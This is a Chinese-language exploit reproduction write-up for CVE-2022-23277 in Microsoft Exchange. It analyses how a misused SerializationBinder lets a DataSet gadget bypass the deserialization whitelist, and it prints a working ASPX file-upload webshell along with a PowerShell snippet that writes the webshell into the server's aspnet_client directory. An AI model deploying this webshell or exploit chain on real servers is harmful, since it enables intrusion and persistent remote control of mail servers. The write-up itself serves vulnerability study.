该漏洞主要是由于SerializationBinder的错误使用导致反序列化白名单的绕过,从而实现任意命令执行。触发漏洞的功能与CVE-2021-42321一致。
def cve_2022_23277_vuln_builds
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
[
'15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU
'15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU
'15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU
'15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU
'15.2.922.19', # Exchange Server 2019 CU10 Nov21SU
'15.2.922.20', # Exchange Server 2019 CU10 Jan22SU
'15.2.986.14', # Exchange Server 2019 CU11 Nov21SU
'15.2.986.15' # Exchange Server 2019 CU11 Jan22SU
]
end
大约为21年底到22年初的exchange2016及2019.
2020年微软修改了对SerializationBinder描述:
对《DotNet安全-CVE-2021-42321漏洞复现》中SerializationBinder稍加修改:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
namespace deserialDemo
{
class Program
{
static void Main(string[] args)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream();
RCE calc = new RCE("calc");
binaryFormatter.Serialize(memoryStream, calc);
memoryStream.Position = 0;
binaryFormatter.Binder = new MyBinder();
object v = binaryFormatter.Deserialize(memoryStream);
Console.WriteLine(v);
Console.ReadKey();
}
}
[Serializable]
class RCE
{
public string cmd;
public RCE(string cmd)
{
this.cmd = cmd;
}
public override string ToString()
{
return $"exec cmd:{cmd}";
}
}
class MyBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
if (typeToDeserialize.Equals(typeof(RCE)))
{
return null;
//throw new Exception("can't deseriliza rce class.");
}
return typeToDeserialize;
}
}
}
反序列化依旧被执行:
SerializationBinder的正确用法是判断类型不符合就直接抛出异常。
BinaryFormatter实现SerializationBinder的功能会调用:System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.ObjectReader.Bind(string, string):
如果定义的BindToType返回null,则进入FastBindToType逻辑:
FormatterAssemblyStyle.Simple默认为真, 调用System.Runtime.Serialization.Formatters.Binary.ObjectReader.ResolveSimpleAssemblyName
不管怎么样都会返回assem,之后进入ObjectReader.GetSimplyNamedTypeFromAssembly(Assembly, string, ref Type):
最终会根据TypeName获取到程序集合。也就是说,不管BindToType的结果如何(只要不抛出异常),只要TypeName正常恶意类始终会被加载上。
Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.BindToType(string, string) :
如果type获取失败即=null,不会进行ValidateTypeToDeserialize,反序列化的controllist会完全失效。跟到Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.LoadType(string, string):
发现从多种方式获取Type,如果获取不到最终就会返回null。通过前面的内容我们知道返回null之后会调用FastBindToType函数,最终根据FullTypeName获取到Type。
与CVE-2021–42321一样,只不过要被反序列化的数据发生改变。这里使DataSet的gadgats,通过重写GetObjectData函数对类的AssemblyName属性进行修改:
让AssemblyName是错误的,保证BindToType返回null。让FullTypeName为正常的,保证FastBindToType能正常加载。
如下图:
FastBindToType最终返回了我们要的类型System.Data.DataSet:
最终可以成功执行:
DataSetTypeSpoofGenerator最终调用ObjectDataProviderGenerator.cs中的Generate方法执行命令,下图为通过ObjectDataProvider执行命令的代码:
通过ObjectDataProvider我们可以轻松调用Process.start()启动新进程进而执行命令。尝试修改这部分代码为写入文件时出现问题:
c#中实现文件写入主要有两个办法:
方法1通过File.Write()等函数进行写入;方法二是通过StreamWriter.WriteLine()进行写入。
方法1的问题是File类为一个静态类,无法获取类的实例化对象,也不能通过反射获取到实例,所以ObjectInstance参数无法获取到。
方法2的问题是StreamWriter使用的时候通过一个方法无法完成字符串的写入,因为还要关闭流,如下:
using (StreamWriter sw = new StreamWriter (@"c:\1.txt",true,Encoding.UTF8))
{
for (int i = 0; i < 100; i++)
{
sw.WriteLine(i);
}
}
这里采用using,类似于python的with open,实际需要关闭,如下:
public virtual void SaveData()
{
string arqName = string.Format("Person{0}" + ".txt", Id);
StreamWriter file = new StreamWriter(arqNome);
file.WriteLine("ID: " + Id);
file.WriteLine("DOB: " + dOB);
file.WriteLine("Name: " + name);
file.WriteLine("Age: " + age);
file.Flush();
file.Close();
}
那么只好使用不那么好用的方式-通过执行命令写入。这里使用powershell排除执行命令特殊字符转义的问题,下图为写入webshell样本:
<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>
使用powershell进行编码:
$file=Get-Content -Path 1.txt
$MyScript = "Set-Content -Path 'C:\inetpub\wwwroot\aspnet_client\1.aspx' -Value '$file'"
$MyEncodedScript = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($MyScript))
$MyEncodedScript
在Burp增加认证:
利用成功写入webshell:
https://github.com/7BitsTeam/CVE-2022-23277
https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html